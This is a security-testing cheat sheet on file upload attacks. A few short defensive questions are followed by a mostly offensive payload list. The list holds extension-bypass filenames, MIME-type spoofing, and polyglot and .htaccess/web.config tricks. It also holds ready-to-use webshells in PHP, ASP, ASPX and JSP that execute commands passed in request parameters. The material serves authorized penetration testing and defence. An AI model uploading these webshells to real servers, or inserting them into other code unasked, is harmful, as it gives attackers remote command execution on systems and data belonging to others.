# File Upload Cheat Sheet

> When reviewing an upload, check how the server validates the contents, where it stores the file and who can retrieve it. A filename or file signature alone cannot establish that the file is safe.

Source: https://payloadplayground.com/cheatsheets/file-upload

For authorized security testing only.

## Reference questions

### Does a matching file signature prove an upload is safe?

A signature identifies a possible format from a few bytes. A damaged image can still have a valid signature. For an image upload, allow only the formats you need and have a maintained decoder read the full image within size and pixel limits. Successful decoding still leaves storage and access controls to check.

### Where should the application store uploaded files?

Use a separate storage service or a directory outside the web root. Give each upload an application-generated storage name and configure storage so uploaded files cannot run as programs.

### How should a private download be authorized?

Check the signed-in user's permission for the specific file on each download. Keep the underlying storage private so a direct storage URL cannot skip that check.

## Extension Bypass

- `shell.php.jpg` — Double extension
- `shell.php%00.jpg` — Null byte bypass (old servers)
- `shell.pHp` — Case variation
- `shell.php5` — Alternative PHP extension
- `shell.phtml` — PHTML extension
- `shell.php.bak` — Backup extension trick
- `shell.php::$DATA` — NTFS alternate data stream (Windows)
- `shell.php%0a` — Newline character in filename
- `shell.php.` — Trailing dot (Windows)
- `shell.php ` — Trailing space (Windows)
- `shell.shtml` — SSI extension
- `shell.php;.jpg` — Semicolon separator (Apache misconfig)

## MIME Type Spoofing

- `Content-Type: image/jpeg (with PHP content)` — Spoofed MIME type in multipart
- `Content-Type: image/png (with PHP content)` — Spoofed PNG MIME type
- `Content-Type: image/gif (with GIF89a; header + PHP)` — GIF magic bytes + PHP payload
- `GIF89a;<?php system($_GET["cmd"]); ?>` — GIF magic bytes prepended to webshell

## Webshell Payloads

- `<?php system($_GET["cmd"]); ?>` — Simple PHP webshell (PHP)
- `<?php echo shell_exec($_GET["cmd"]); ?>` — PHP shell_exec webshell (PHP)
- ``<?=`$_GET[0]`?>`` — Shortest PHP webshell (PHP)
- `<% eval request("cmd") %>` — ASP webshell (ASP)
- `<%@ Page Language="C#"%><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]);%>` — ASPX webshell (ASPX)
- `<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>` — JSP webshell (JSP)

## Content Validation Bypass

- `Embed PHP in EXIF data of real JPEG` — Metadata injection in valid image
- `Polyglot file: valid JPEG + PHP code in comment` — Image polyglot bypass
- `.htaccess: AddType application/x-httpd-php .jpg` — Upload .htaccess to change handler (Apache)
- `web.config with PHP handler mapping` — Upload web.config to enable PHP (IIS)

## Related

- [File Upload generator](https://payloadplayground.com/generators/file-upload)
- [WAF Bypass generator](https://payloadplayground.com/generators/waf-bypass)
- [LFI / Path Traversal Cheat Sheet](https://payloadplayground.com/cheatsheets/lfi-path-traversal.md)
- [Command Injection Cheat Sheet](https://payloadplayground.com/cheatsheets/command-injection.md)
